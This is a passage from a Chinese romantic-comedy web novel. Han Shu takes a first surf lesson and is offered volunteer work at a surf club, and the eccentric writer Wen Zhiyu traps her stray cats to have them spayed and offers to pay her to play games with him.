闻知屿如遇雷击,单边眉毛高高跳起,又缓缓放下,“也是,你说的对。她不想搭理我。” “……”秦建翎自认识闻知屿后第10086次怀疑,这人到底怎么在人情社会生存下来的,再次提醒,“别问住处的事了,找一个她关心的、拒绝不了的话题入手。” 关心的、拒绝不了的话题。 钱?不行,这是杀手锏。 那三只猫?可行! 韩暑一直嘟嘟囔囔领养和绝育。领养,闻知屿受不了。绝育,好像可以? 他退出微信界面,去浏览器查阅了无数猫绝育的相关资料,又了解了下南湾区的宠物医院。 半小时后,闻知屿放下手机。 很好,他现在已经是一名合格的猫猫绝育理论家了。接下来,就是要抓回那只猫妈妈,人道主义抓回那两只小猫,然后抱去宠物医院刷卡付款。 说干就干,闻知屿换了身运动装、穿上运动鞋,踏上——折回家找出墨镜,踏上寻找猫猫之旅。 太久没见日光,眼睛不太习惯。 闻知屿沿着皮划艇划过的路追溯到那棵歪扭的小榕树,不需垫脚,视线轻而易举的越过树杈。 ——没有猫的身影。 他晃了晃树干,又透过茂密的枝叶往更高处看。确实没有。 还能去哪里? 烈日当空,闻知屿绕着别墅区走了一圈又一圈,面朝黄土背朝天搜寻草丛、撅着屁股看车底,连别人家院子都没放过——扒在墙边往里看的样子偷感十足,若是被警察抓了都是百口莫辩。 他努力了,真的很努力了,可还是找不见。 韩暑不会把猫带走了吧! “老板,先来一份凉茶。”秦建翎挂着和煦的笑容,“天热,先喝一点缓缓。” 韩暑咕嘟咕嘟一口气喝了小半壶,脸颊的坨红还未消。她用手掌煽风,不好意思的笑了笑,“谢谢。” 男人为她续了茶,举手投足风度翩翩,很贴心但很有分寸感,精致的长相也和声音一样温柔。 韩暑偷摸看了几眼,觉得他帅是帅,但帅得不够沉鱼落雁不够让人眼前一新不够清冷也不够逗比。 还是没有闻知屿帅。 “有忌口吗?海鲜生冷、葱姜蒜调料?” “没有,都可以。”韩暑手指头无意识抠着桌沿,有些尴尬。 秦建瓴看在眼里,轻抿了一口茶,“你是来这边度假吗?” “算是。”韩暑顿了顿,“你呢?” 秦建瓴不过多追问,只是对自己的事情侃侃而谈,“我有个朋友在这边,也有些工作。当然,这次来主要是处理我的车。刚买了不到一年,今早拖去修人家说大概率要报废。” 韩暑面露心疼,“这也太可惜了。为什么会停在路边?” “那就说来话长了。简而言之,我把车借给我朋友,他脑抽。” 韩暑皱了脸,更心疼车主了。 被她的表情逗笑,秦建瓴温声道:“真要报废他必须给我配一辆新的,问题不大。” 得,一个两个的都是有钱人,和闻知屿一样的有钱人。韩暑不再自取其辱,微笑致意。 放在桌上的手机不合时宜的震动了两声。 韩暑一看,又是闻知屿。 【。:你把三只猫带走了吗?】 什么意思?猫怎么了! 韩暑神色突变,不好意思地冲秦建瓴笑了下,指了指手机。 “你随意。”秦建瓴也拿出自己的手机翻看,给她足够的空间。 韩暑这才放下心来,专心输出。 【无敌强壮卷心菜:没有啊怎么回事!猫不见了吗!】 【。:找不见。】 【无敌强壮卷心菜:什么意思!而且你找猫干什么你又不养!】 【。:绝育。】 放P! 韩暑冷笑。之前提起这件事的时候毫无表示,现在猫放走了说绝育,信他个鬼! 没头没尾的问她有没有找到住处,现在又没头没尾的带猫绝育……他到底想干什么?想和她玩?前天晚上不是说不玩了吗! 她一把扣下手机,“不好意思啊回个消息。” “没关系。” 猫咪很少会离开熟悉的地方,十有八九是寻了个阴凉处避暑。一想到她没法收留它们,罪恶感油然而生。 眼前的男人依然带着温润的笑意。韩暑灵光一闪,试探地问:“内个……您的朋友是住在雅居别墅区附近吗?” “是啊。”秦建瓴坦然,“怎么了?” “别墅区有三只流浪猫,一只猫妈妈和两只奶猫,我想为它们找领养。或许您的朋友……” “恐怕要让你失望了,我朋友比较龟毛,他讨厌所有喘气的生物。”秦建瓴叩了下桌面,“不过我可以帮你发发帖,多个人多份力量嘛。” 竟然有人和闻知屿一样龟毛,韩暑的内心受到抚慰,频频点头,“可以的可以的,那我把猫咪的照片发您。” “好,我这就发。” 世界上还是好人多啊! 韩暑觉得秦建瓴的身影一下伟岸了起来,颜值也up了好几个level。 闻知屿? 长得帅有什么用,冷血! 发了帖,秦建瓴还让韩暑浏览了一下。逻辑清晰言简意赅,囊括了所有关键信息,最后还有一段动人的阐述。 韩暑面露崇拜,“您是文字工作者吗?写得真好。” “算是。姑娘过奖了。” 因为猫猫破冰,两人都放松了些,席间交谈还算愉悦。 ——就是两部手机都震个不停。 秦建瓴扶额,“关心的话题怎么可能不回?你要精准找到痛点。” 韩暑单手旋风打字。 【无敌强壮卷心菜:我昨天放生的时候好好的!怎么可能死了!!!你别乌鸦嘴!!!】 秦建瓴猛灌一口凉茶还是觉得上火,“你要的是心平气和的沟通、对方情愿的沟通,不是让你激怒她!” 韩暑狐疑。 【无敌强壮卷心菜:你有这么好心?之前怎么不提?你到底想干什么?】 秦建瓴疑似失去所有力气,“你觉得行就行,我没有任何意见。未来一年我都不会发表任何意见。” 韩暑认真思考。 【无敌强壮卷心菜:姑且信你,但我这边暂时走不开。你先找猫,绝育中有什么问题随时联系。】 当两人从餐厅离开时,都吃得很饱很满足,同时对彼此产生了深深的歉意。 “不好意思啊一直接电话,我朋友脑子有点不好。” “没事没事。我也很不好意思,有个神金一直给我发消息。” 对视之间,都是共鸣和惺惺相惜。 出于礼貌,韩暑送秦建瓴走到村口,继续有一搭没一搭聊。 “你是刚毕业吗?还是刚辞职?” “刚辞职。”韩暑挑眉,“你怎么知道?” 秦建瓴笑了,“旅居人群里占比最多的女性群体可以分为三类,无经济压力的学生,辞职休息的社畜,和离婚散心人群。看你年龄小,想必是前两种情况。” 似乎是这个道理。韩暑竖起大拇指,“聪明。” 秦建瓴坐上出租后打开车窗,“很高兴认识你,好心姑娘。” 韩暑挥挥手,“很高兴认识你,倒霉车主。” 在炽热滚烫的海风中,韩暑踢着脚步往回走。 他们自始至终都没有交换姓名,更没有打探对方的生活,无关乎地域、身份、职业,只是萍水相逢又归于人海的陌生人。 这种感觉很奇妙。 人与人之间的善意就像踏足的土地,于无声中滋养心田。只是一顿饭,只是闲谈,她彻底忘掉了奔波的疲惫和四处碰壁的挫败,对接下来的一切重燃期待。 下午,韩暑又看了两间房,一个是大开间,一个是一室一厅户型。前者硬件设施都不错,租金一千一算适中,可恰好在两间酒馆楼上,晚上必定会吵。后者除冰箱厨具外齐全,地处主路旁边的小巷,幽静雅致,但租金一千五,略高。 她续了一晚民宿,打算认真考虑一番再做决断。 凌琳的电话来得恰到好处。 韩暑把照片和租金情况发过去一起商量,整整横跳了一个小时才得出初步结论。 “还是省点钱吧。”韩暑调整了下枕头的位置,背靠床头,用手拨散还带潮气的发丝。 凌琳立刻加重语气,“缺钱的话随时跟我说,别委屈自己。” “不缺,还有。只是没想好以后干什么,省着点花。” 凌琳调侃,“一千一一个月,不如之前回答问题免费住的民宿香吧?” 韩暑承认,“确实比不上。闻知屿那是倒贴钱开民宿,不限制入住天数的话怕是要亏死。” “你不然跟他商量商量呗?万一答应你长租呢?” “不了吧……我想学冲浪,那离后海太远了不方便,来回跑只能打车。算上路费,还不如租房呢。” “也是。”凌琳压着嗓音,鬼鬼祟祟地问,“你和帅哥同居了五六天,就没擦出点什么火花?” “同居个辣子,那叫寄人篱下。”韩暑没好气,“火花没擦出来,水花倒是整出超大一朵。” 她气呼呼地还原落水事件,最后总结:“他真的很神金,和他待一起的时间久了,我都觉得自己变傻了。” 电话那头,凌琳放声大笑。 韩暑垮了脸,“幸灾乐祸?” “没有没有。”凌琳清清嗓子,“但是小暑,你不觉得,提议玩造船游戏的你也很……吗?” 韩暑:…… 真是灵魂拷问。 “那不是为了哄他吗?破坏了他独自皮划艇的计划,又在他家养三只猫,我不得用行动表达一下感谢吗?” 凌琳欲言又止,“可是宝,我相信世界上99.9%的人选择感谢的方式,都不会是陪他做游戏。” 韩暑:…… 是哦。 她捂住脸,因为难以启齿上下嘴唇几乎黏在了一起,“我走的时候,还给他留了一张游戏清单。” “留了什么?” “……游戏清单,介绍居家小游戏的。” “噗哈哈哈哈哈哈!” 在凌琳毫不掩饰的笑声中,韩暑愈发觉得自己是个弱智。很多事情在那间别墅里发生都合情合理,和闻知屿一起做毫不奇怪。可脱离那个环境或和其他人说起,为什么显得这么弱智啊!!! 她想不通。最终将原因归结于问题先生过于神金,她很不幸地被同化了。 因此,离开那家别墅的她,将不再是那个弱智的她,而是一个聪明睿智的小女孩。 聪明睿智的小女孩结束通话后,收到了神金发来的微信。 【。:[图片]】 点开一看,熟悉的浴室,熟悉的饭碗水碗,熟悉的低配猫砂盆,熟悉的——三只猫??? 韩暑毫不犹豫拨通了语音通话,两声盲音后,闻知屿接了。 不等韩暑说话男人率先开口,沉稳中隐约还有些骄傲,“是的,我找到了。” 韩暑先是松了口气,旋即狐疑,“在哪找到的?你怎么带回家了?” “在某一户久不住人的院子里。绝育。” “你认真的?” 闻知屿嗯了一声,“我研究了下,母猫发情期会非常痛苦,尤其是不交/配的情况下。而怀孕生子又会透支她的身体生命。所以绝育是一件好事。” 还说的头头是道。韩暑乐了,“做功课了呀闻作家?” 闻知屿又嗯了一声,“我预约了明天检查手术,位置发你。” 韩暑上扬的嘴角僵住,“嗯?什么意思?我也要去吗?” “……你不去吗?” 不是,这什么语气?听起来怎么感觉——她就应该去的样子? 韩暑刚想反驳,却又实打实担心大咪。绝育要全麻,虽说出事概率极小但绝不为零。踟蹰片刻后问:“手术几点?我明天上午有安排。” “下午。给我发一下明天上午你所在的位置。” 韩暑又懵了,“嗯?” 闻知屿说:“我来接你。” 我来接你。 来接你, 接你。 他到底想干什么! 韩暑把手机扔到一边,聊天界面上,是三分零七秒的通话记录,和戒浪俱乐部的定位。明早要去上第一节冲浪课。 她情不自禁地抠手。 我来接你。 来接你。 接你。 怎么说得那么自然!平白显得亲呢。 原就因冲浪课而兴奋的韩暑,彻底失眠了。 另一位当事人闻知屿把手机揣进裤兜,端着水碗去厨房接了些净化水,又折了回来。在浴室冷白色的灯光下,手臂上横七竖八的血痕愈发触目惊心。 他甩了甩胳膊,喃喃自语,“这需要打狂犬疫苗吗?” 不行,得搜一下。 闻知屿学习了下十日观察法和诸多案例,偏头,问缩在墙角一脸警惕地大橘猫,“你应该没病吧?千万不要死啊!” 大咪呲牙,恶狠狠:“喵!” 闻知屿脑瓜子嗡嗡。他讨厌猫,讨厌一切会呼吸的生物。真不知道韩暑喜欢它什么。不理解,想不通。 他收回视线,打开换气扇后离*开了浴室。 自从开民宿起,闻知屿从未踏入这间客房。故而他驻足,四下打量一番,觉得既熟悉又陌生。 和别墅其他地方不同,这里的家具、窗帘、小沙发包括地毯的颜色都更为清爽。淡蓝、浅灰、米白。他莫名觉得有些空荡。 韩暑走的时候,闻知屿其实听到了动静,却没下楼。因为他怕自己因为一时被游戏蒙蔽双眼而提出长租。 和她长期住在同一屋檐下?一想到家里可能出现两只壁虎、三只猫、四条狗、五只鸡、六头鹅、七只鸟、八条蛇、九头猪云云,他鸡皮疙瘩都起来了。 “万恶之源”走了,他的家又恢复了往日的安静,应该开心才是。 为什么偏偏开心不起来!为什么该死的游戏偏偏那么好玩! 闻知屿忽然有点怕。秦建翎的提议固然是好的,可万一他不满足于玩几个小时怎么办? 今天是韩暑搬走的第二天,不到48小时,他几乎花了超过40个小时去想她。 彼时毫不在乎的瞬间,此刻像电影回放一样每一个细节都闪回与眼前。 有时候会想到她湿淋淋站在门廊的局促,有时候会想到她仓皇逃进屋却撞了脚趾头的狼狈,有时候会想到擀面棍和铝杆碰撞的电光石火,有时候会想到她被拎着后颈瞪他的生动,有时候会想到她被推进水里时的惊恐,有时候会想到她生病时的脆弱,还有时候会想到—— 死脑子,快停啊!!! 他有好多好多好多事情需要思考,不能再想她了!!! ——还有她玩游戏赢了后的神采飞扬、输了后的撇嘴表达不爽。 闻知屿逃也似的离开这间似乎还留有她痕迹的房间,逃回二楼自己的卧室,和衣而卧,闭上眼。 睡,快睡! ——还有她做饭时的专注,吃饭时通过观察他表情判断好不好吃的古灵精怪。 闻知屿重重翻了个身,撒气似的踢开被子。 睡,快睡! ——还有她回答他每一个问题的认真,虽然觉得奇怪但却能立刻接受的坦然。 闻知屿坐起来,十指塞进发根,双手做随机运动,一直到炸毛才停。 他睡不着。 打开手机看一眼时间,十点零五分十一秒。 闻知屿盘腿坐定,双手搭在膝盖上,平心静气,放空大脑,打坐修行。 吸气——呼气——吸气——呼气—— 嗯,很好,他没有想她。 打开手机再看一眼时间,十点零五分四十秒。 闻知屿:…… 漫漫长夜,长夜漫漫。 闻知屿闭上眼睛默念:一个蘑菇脑袋、两个蘑菇脑袋、三个蘑菇脑袋、四个蘑菇脑袋…… 韩暑闭上眼睛默念:一只猫、两只猫、三只猫、四只猫…… 黎明的曙光划破黑暗,新的一天来临。 韩暑飘到卫生间洗漱,一照镜子,被眼下的乌青吓一跳,这跟被打了两拳有什么区别? 她飞速洗漱,挑了个防水好一些的粉饼遮了一圈,这才勉强看得过眼。可脸白嘴唇白,有点不精神,于是又找了只比较扒嘴的唇釉涂了涂。 嗯,有清透伪素颜妆的感觉了。 以前上班的时候,韩暑洗个脸涂个防晒就是对工作最大的尊重,更别提化妆。就一句话,上班不配,不配她早起二十分钟。 许久不化妆,她揽镜自赏,觉得颇为满意,非常适合去给大咪绝育——不是,非常适合去上冲浪课。 化完妆,扎了清爽的丸子头,到穿什么这一步又陷入两难。 上课是要穿泳衣的,不上课的时候穿什么呢? 九点整,韩暑一袭清爽的白色连衣短裙,来到戒浪俱乐部。一只刚脚踏进门,却猛然顿住了。 店里到处都是黑皮光膀子的男人,有的浑身湿淋淋,似乎刚从海里上来。有的靠在吧台前喝咖啡或者饮品,和老板有一搭没一搭聊。 目之所及,乌泱泱全是肌肉。 正当她脚趾猛抠地板,一时不知道进还是不进时,一个高挑飒爽的女人拨开人群,笑眯眯地迎了上来,“你好,韩小姐是吗?” “是的。”韩暑攥着包,试图掩盖自己的局促,可不自然的站姿和紧绷的嗓音早已从被击破了伪装。 “我是戒浪的老板陈春景,叫我春景就行。”女人毫不见外地挽住韩暑的胳膊,“来,我先介绍一下俱乐部的情况。” 韩暑还没反应过来,就被漂亮老板带着穿梭黑皮之间。 “这边是吧台,上课或者租板冲浪当天有免费的柠檬水喝,其他饮品就需要单点喽。” 吧台背后,约莫两米长的黑胡桃木边柜,一层全是各式各样的基酒,二层则摆了许多咖啡豆和五花八门的可爱杯子。吧台前,听到动静的几个男人回头冲韩暑点头致意。 春景冲最右那位寸头男生挥手,“小宇,再过十分钟上课。” 小宇比了个ok的手势。 春景拉着她左拐至室外,“这边是更衣室,左男右女。室外游泳池可以练习划水转向,这些小宇教练会详细介绍……” 韩暑晕晕乎乎地走了一圈,稀里糊涂换上泳衣领了块冲浪板。 五分钟理论指导,十分钟动作练习之后,小宇教练拍拍手,“走,下海。” 韩暑脸僵了僵,“啊、啊?” 小宇被她逗笑,“不去海里怎么练站板?别怕,今天不去深的地方,很简单的。” 韩暑两手一前一后,颠着死沉的冲浪板从俱乐部走到沙滩再从沙滩走到海边,手臂已经在颤抖了。 这对吗?这简单吗? 然而,这只是个开始。顶着浪潮的阻力,韩暑拖着板费老鼻子来到合适的区域,咕蛹着艰难爬上板,还没捂热呢,只听身后小宇喊道:“来了啊!” “什么什么什——” “记住刚才的姿势,喊到一就站。三——” 韩暑嗓音颤抖,“站、站?” “二——” 海浪上浮,带来轻微失重感。 “一!” 小宇看准时机用力一推,冲浪板借着海浪飞速向前。 韩暑双手撑板,以波比跳的姿势用核心拖动两条腿。然而波比跳的波还没写出来,只觉天旋地转分不清上下左右,扑通一声后世界从喧嚣变得遥远。 在咸湿的海水中,她紧闭着眼,费劲吧啦地摸着海底的石头,费劲吧啦地站起来。然后整个人都呆滞了。 这叫简单??? 小宇在不远处挥手,“再来再来!下一次就能站起来了!” 天真的韩暑信了。 台风刚结束,学员少,为数不多的浪人都是老炮。结果就是在“再来一次”“下一次就站起来”“你可以”的声声鼓励中,一群老炮观赏一只菜鸟花式入水。四脚朝天式、侧手翻式、脸朝下式…… 当韩暑冲完沙洗过澡换好衣服在吧台坐定时,已经七荤八素不知天地为何物,更别说因为一群陌生肌肉男而尴尬了。 这是冲浪吗?这就是冲浪吗?这是水上摔跤练习吧! 一只绘有海浪的咖啡杯出现在视野。 春景双手撑桌,“喝点咖啡清醒清醒。” 韩暑迟缓地转动眼珠,“我扫码付。” 春景失笑,“请你的,抚慰一下你受伤的心灵。” “谢谢。”韩暑耷拉着脑袋,还是闷闷不乐,“我感觉我这辈子都学不会。” “正常。我最开始也这样,甚至连你都不如。” 韩暑狐疑,“真的?” 春景点头,真诚道:“真的。不到半小时,我就和当时的教练说我不行了我要回家。” “然后呢?” “教练说怎么着你要回去找妈妈?一句话我就被激怒了,心说老娘要学不会就不姓陈!”春景指左侧的照片墙,骄傲地说,“结果就是,我不仅学会,还爱上了这项运动。花了几年在菲律宾、澳洲、美国各个浪人聚集地冲浪旅居,回国后开了这家冲浪俱乐部。” 韩暑看过去,被其中一张吸引。照片上,春景一身亮蓝色比基尼,微微躬身,腿部和胳膊的肌肉线条清晰可见,身材纤瘦而健美,湿漉漉的中短发贴在耳后,笑容和透蓝的海水、金色的日光一般灿烂。 除了生命力,她找不到第二个词去形容此刻的感受。 “当然,每个人情况不一样。有的人尝试了不喜欢,放弃很正常。”春景说,“长期课你可以再考虑考虑,不着急做决定。” 韩暑点点头,“那我再想想。” 她端起可爱的小杯子,才抿了一口,面露惊艳,“好喝。” “好喝吧?”春景拖过只吧台椅在她对面坐定,“苦练五年的功力。” 韩暑作为称职牛马,工作日会自己给自己喂饲料,也爱喝咖啡。两人聊起共同爱好,很快便熟念起来。 “春景,招聘的公告打印出来了,贴门口吗?”一个男生提着胶带剪刀走过来。 春景指门框,“两边各贴一个,醒目一点。” 韩暑好奇,“招聘?” “往上一点,对对就那!”春景指挥道,“嗯,之前的义工姑娘留学去了,得再招一个。” “做什么的义工?” “摄影。来体验冲浪课的大多只是尝试不会系统学,都想拍些照片打卡留念。” 一个大胆的想法出现于脑海。韩暑问:“做义工提供食宿吗?” “提供啊。”春景挑眉,“莫非你——” 韩暑眼前一亮,拍拍胸脯,“我。以前工作的时候包揽大小会务各种活动的摄影工作,拍人像不说多精通,但绝对有经验。” 春景双手抱臂,微微侧着脸打量她,看似是审视,但含着笑意的眉眼丝毫不会惹人不悦。半晌,她拍拍手,“恭喜,我这一关过了。等我男朋友回来终面。” 韩暑眨巴眼睛,“这、这就过了?” “昂!” “……为什么?” 春景想了想,坦然道:“又漂亮性格又好的小妹妹谁不喜欢?反正我喜欢。” 韩暑挠挠头,有点脸红。 “哎,你单身吗?” 春景身上有一种天然的飒爽和亲和力,是以韩暑被她这么问,自然而然地回答了,“单身。” 春景眨了下右眼,半开玩笑道:“这一片会冲浪的帅哥多,说不准还能转角遇到爱。” 韩暑小心翼翼地环视四周,不知道怎么回,于是讪讪地笑了下。 “怎么?不喜欢黑皮?” “嗯……不能说喜欢,也不能说不喜欢。就那样吧。”韩暑道。 ——毕竟经过闻知屿的颜值攻击,她欣赏帅哥的眼光已经是nextlevel了。 见状,春景猛一拍她肩膀,郑重道:“英雄所见略同,我就喜欢白皮帅哥,斯文秀气那种最好。” 这回韩暑不得不点头赞同。 时间已过十一点,闻知屿还没联系,也不知是什么意思。她喝掉最后一口咖啡,正想起身告别,发现春景的原本就亮晶晶的美目直接变成俩300瓦灯泡,锃亮。 韩暑不明就里,顺着她的目光看去—— 在机车引擎的隆隆声中,一个带着纯黑全包头盔、身着白衬衫黑色休闲西裤的男人一伸长腿轻松下车,骨节分明的手指随意掸去袖口因为骑车产生的褶皱,然后脱掉头盔,拨了拨微翘的短发。 只见男人回过身来,微微仰头黑眸扫过牌匾,下颌脖颈锋利流畅,身长玉立又不乏慵懒随性。 春景压着嗓门也难掩兴奋,“我靠,这帅哥白的发光哎!!” 然而,韩暑已经完全听不进去了。 她在全身心表演什么叫目瞪口呆。因为—— 闻知屿看见她了。 闻知屿走过来了。 闻知屿在她面前停下了。 闻知屿说话了。 “走。”他说。 韩暑嘴巴不听使唤了,“你你你——” 你什么?她也不知道。 闻知屿蹙眉,“你反悔了?” “没有、不是——” 眼前陡然一黑。 闻知屿把蘑菇脑袋塞进头盔里,系上锁扣后还用食指关节敲了敲。 在敲西瓜似的脆响中,韩暑听到他说—— “那就跟我走。” 第18章 第18章【VIP】 在春景意味深长的注视中,韩暑连连摆手表示误会。 春景看在眼里却微微一笑,作出一个“拿下”的口型。 韩暑:…… 疯球子!拿不了一点! “啊!”韩暑痛呼。 她一步二回头,再加上头盔阻挡视线,完全不知道闻知屿什么时候停了,是以狠狠撞上了他的后背。 闻知屿回身,垂眸,“上车。” 韩暑摸索半天打开防风罩,露出涨得通红的脸,“你说来接我,就是骑摩托啊?” “嗯,有什么问题?” “……” 问题大了! 韩暑别别扭扭地低头,攥着裙摆,“你这……我怎么坐啊?” 闻知屿蹙眉不解,顺着她的动作一看——纯白的法式裙摆堪堪到大腿中间。 他嗖地偏过头去,以拳抵唇轻咳了一声,耳尖的红色比烈日都艳丽几分。 可惜韩暑低着头没注意,自顾自嘟囔,“早知道就不穿裙子了…” 这可是她少有的没班味的裙子。原该是优雅并可爱地在海边漫步,怎么就变成狼狈地骑摩托! 正想说回去换条裤子,男人却戴好头盔,兀自跨坐上车点火启动。 韩暑迟疑,“你、这是、不打算带我了吗?” 闻知屿啪一声打开防风罩,递来一个无语的眼神,“在这等我。” 啪一声,防风罩合上。伴随引擎轰鸣,韩暑吸了一大口尾气。 什么鬼?这风驰电掣的干什么去? “嘿!”春景悄没声摸过来,拍了下韩暑右肩,和她一起眺望那道帅气逼人的背影,“帅哥哪去?” “不知道啊。”韩暑本能挠头发现触感梆硬,这才反应过来还带着头盔,赶紧把自己拔出来。海风拂面,世界都清爽了。 春景笑容满面,咂舌间还有些意犹未尽,“穿衬衫西裤骑机车,实在养眼。妹妹好福气呀!” 韩暑手一哆嗦,头盔差点掉地下,“不是不是你误会了,他和我一点关系都没有。” “人家都直接上手给你戴头盔了!你心里可能没关系,帅哥心里肯定有关系。” 不可能。 绝对不可能。 她在闻知屿眼里,就是一台移动智能回答问题机器,又或者是无限存档游戏机。更何况她的人设是已婚已育。 韩暑嘴角颤巍巍,“真、真的?” 春景摘掉她肩头的发丝,笑吟吟,“没谈过恋爱?” “……嗯。” 春景一脸意料之中,“那听姐的没错,他的想法绝对不清白。” 不可能。 绝对不可能。 闻知屿最多对她的大脑想法不清白——想放进实验室里通过电击24小时不停回答问题。更何况她的人设是已婚已育。 韩暑面露惊恐,“不、不会吧?” 春景忍俊不禁,“试试?” “怎么试?” “嗯……”春景捏着下巴,“一会骑摩托,你趁机摸他!” 死去的记忆回笼,某种Q弹的手感再次攻击触感神经。 韩暑彻底石化了。 春景扑哧笑了,“开玩笑的,试什么试!如果你想法清白,他怎么想都和你没关系。” 她还想说什么,忽然冲韩暑身后挥手,“铭哥,这么快就回来了?” “嗯,搭了顺风车。” 春景迎了上去,双臂环住高大的男人,嗓音软了下来,多了几分小女儿家的姿态。 被唤铭哥的男人单手搂着春景的后腰,另一只手提着行李袋,“冲浪板都交付了,短时间没活。这次多待一阵。” 想必这就是春景的男友了。 可这位轮廓硬朗肤色黝黑,和白肤斯文帅哥八杆子都打不着。韩暑觉得有意思,便多看了好几眼,这一不小心便看到二位旁若无人的深吻。 韩暑:?! 闻知屿回到戒浪门口时,看到的便是一袭白裙的女孩抱着头盔,正用十八分的专心盯着一盆绿植。他骑到韩暑旁边停下,单腿撑地,“看什么——” 呢的音还没发出来便憋回了嗓子眼。 闻知屿明白韩暑为什么装石头人了。 他慌乱地移开视线下车,转过身,背对那两位和韩暑并肩而立,还不忘压低嗓音,“给。” 发呆被打断,韩暑手忙脚乱地接住,也小声道:“是什么?” “打开看。” 打开一看—— 韩暑震惊,“你从哪买的东北大花袄?” 闻知屿气急,“这是一条纱巾。” “……”韩暑望着那大红大绿,实在无法将这艳丽系起来。 闻知屿解释,“这条最长最宽且不透。我试了,绝对够用。” 贴心,还是骂他脑子有病。 是什么牌子但一看就价值不菲的黑绿配色的摩托,彻底绝望了。 谁会!!! 这时,身后传来动静。 “二位,可以转过来了。” 韩暑提着花袄,缓慢向右转头,悄咪咪地往后看了一眼。与此同时,闻知屿也缓慢向左转头,也悄咪咪地往后看了一眼。 只见铭哥搂着春景的肩膀,春景搂着铭哥的腰,格外亲密。但起码没亲在一起。 韩暑松了口气,回过身。几乎同时,闻知屿舒了口气,也回过身。 俩人不仅动作复制粘贴,连隐约的偷感和眼神飘忽的害羞都如出一辙。 ——不知道的人怕是以为被撞见亲在一起的是他俩。 春景的视线在二人逡巡,笑容也意味深长了起来,“我俩都不害臊,你俩羞什么羞?” 韩暑吧嗒咬住下嘴唇不说话。闻知屿抓抓下巴,也不说话。 见状,春景笑了好一会,笑得韩暑和闻知屿都手足无措才收,“好啦不逗你俩啦!这位是我男朋友铭哥,这位姑娘很可能是我们新的义工。” 铭哥冲韩暑点头致意,“你好,之后有空来店里面试。” 告别后,情侣手牵手进了店,韩暑望着他们的背影面露磕cp的纯真笑容。 闻知屿眉心却拧成川字,“义工?” “嗯,俱乐部招摄影义工,管吃管住。” 韩暑收回视线,克服全身上下每一个毛孔的抵抗后选择眼不见为净,展开丝巾绕腰裹了好几圈后绑了结,然后大义凛然道:“走吧!” 出了后海村,公路沿海岸线蜿蜒。 在巨大的风噪和发动机嗡鸣中,速度逐级攀升。韩暑坐在机车后座,搂着闻知屿窄腰的双臂随之收紧。 她从来没坐过摩托车,起初因为裸露感还有些紧张。可当头盔触及男人宽阔的肩膀,一种难以言喻的踏实感涌上心头,随之情绪也变得平静,甚至有了欣赏景色的心思。 正值正午,海面波光粼粼,白色的浪花袭来似风起云涌,宝石一般的光点被冲散,又在平静下来后重新聚拢。 海岛的浪漫是百变的。可以是日出时的海天一线的璀璨,可以是日落时温柔缱绻的橘子海,也可以是此刻的炽热滚烫。 转弯,重心偏移。 那团大红大绿的布料出现在视野的瞬间,所有的浪漫都化为笑柄。 韩暑:…… “闻知屿!”她喊道。 可惜声音被闷在头盔、被风揉碎,闻知屿似乎未察觉。 韩暑又喊:“闻知屿这片海好美!” 闻知屿还是稳稳把着车头,未有回应。 “听不到?”韩暑心说太好了,深吸一口气后喊,“闻知屿你真是一个神经病!!!” “你买的丝巾怎么这么丑!!!” “你到底要用猫猫胁迫我做什么!!!” “神金!!!” 二十分钟,二十八公里。 闻知屿从别墅后门径直进车库,两腿撑地让车身倾斜。 韩暑扶着车座蛄蛹落地,赶紧去掉头盔,“闷死了,难怪隔音这么好。” 闻知屿维持着骑在车上的姿势,打开防风罩,白皙的脸颊因为闷热微微泛红,“是什么给你隔音好的错觉?” 韩暑一愣。 闻知屿捏着嗓音,“是——‘闻知屿你真是一个神经病’给的吗?” 韩暑:…… “还是‘你买的丝巾怎么这么丑’给的?” 韩暑:…… OMG!怎么学那么像! 韩暑缩着脖子不敢说话。 闻知屿冷嗤一声,兀自捡起车库角落的纸箱,“猫不是人质,没打算胁迫你。” 韩暑嗫嚅,“那你没头没尾提什么绝育?莫名其妙。” 男人大步流星绕至前院,换了鞋兀自往里走。 韩暑一溜小跑跟在后头,赶紧找出那双粉拖鞋换上,又一溜小跑追了上去,愈发想不通,“所以你到底想干什么嘛!” 闻知屿不语,把车钥匙丢道茶几上,继续往1号客房走去。 韩暑冲他的后脑勺猛挥两拳撒气,“喂!说话!再不说我要走了啊!” 闻知屿终于驻足。 “啊——” 梅开二度。 韩暑一边揉脑门一边原地转了个圈一边嘀咕,“练过铁背功吧……” 闻知屿半垂着眸,神色一点点淡了下去,“如果我没理解错,义工等于义务劳动,除了管吃管住以外没有任何劳务收入,是吗?” “是啊!”韩暑不明就里,“你想说什么?” “那如果有更好的条件呢?你会接受吗?” 韩暑转转眼珠,很快品过味来,“难道——你想雇我?” 闻知屿颔首,“每天陪我玩二个小时,玩什么都行,我付时薪。” 韩暑惊了。 她一穷人实在无法理解,竟然有人愿意花钱做游戏! 穷人秉持勤俭节约的美德,艰难开口,“你为什么不找愿意免费陪你玩的人玩呢?” 闻知屿眨眼,“找谁?” 韩暑想了想,“比如你的朋友?” 闻知屿摇头,“没有。” 韩暑细细思考,“那……你请的阿姨?” “不要。”闻知屿坚定,“我就要和你玩。” 完了,对话趋向幼稚,氛围趋向神金。 韩暑发现凌琳说得没错,她真的很奇怪。她竟然会因为闻知屿一个荒唐的提议,认真的提荒唐的建议。 这间别墅的空气里是有什么传染性神金病毒,吸了就会被问题先生同化吗?! 韩暑舌尖顶住后槽牙,用理性警醒自己抵抗病毒攻击,采取正常人的思维去思考问题。 她一拍大腿,横眉怒视,拿捏起班主任训话的气场,“一天天就知道玩,怎么能不务正业呢?!” 闻知屿:? 韩暑趁胜追击,“年纪轻轻人还是要上进知不知道?玩那些游戏有什么用?能让你多写几个字还是怎么着——” 闻知屿轻笑了一声,“可以。” “……”气焰骤灭,韩暑哑然。 闻知屿望着女孩微张的杏眸,慢吞吞地说:“你确实是我的灵感来源之一,我只想和你玩游戏。” 韩暑背在身后的手无意识地抠着“东北花袄”的边边,春景说的话放电影似的在耳边闪回—— 她蹬蹬后退二步,双臂于胸前交叉,“你、不会喜欢上我了吧?!” 第19章 第19章【VIP】 闻知屿的面部肉眼可见皱了起来,生生在瘦削的脸颊上挤出几道褶子。他张了张嘴又闭上,因为过于用力唇线都泛了白。 问题先生变成地铁老人,一言难尽地盯着她。 韩暑瞬问后悔了。 用脚趾头想都不太可能的事,刚怎么会问出口?! 可碍于脸面,她强装镇静,“抱歉。作为已婚人群,还是要谨慎一些的。” 闻知屿张了张嘴又闭上,用鼻腔长长长长地出气,发出一阵悠长绵延的叹息。 韩暑:…… 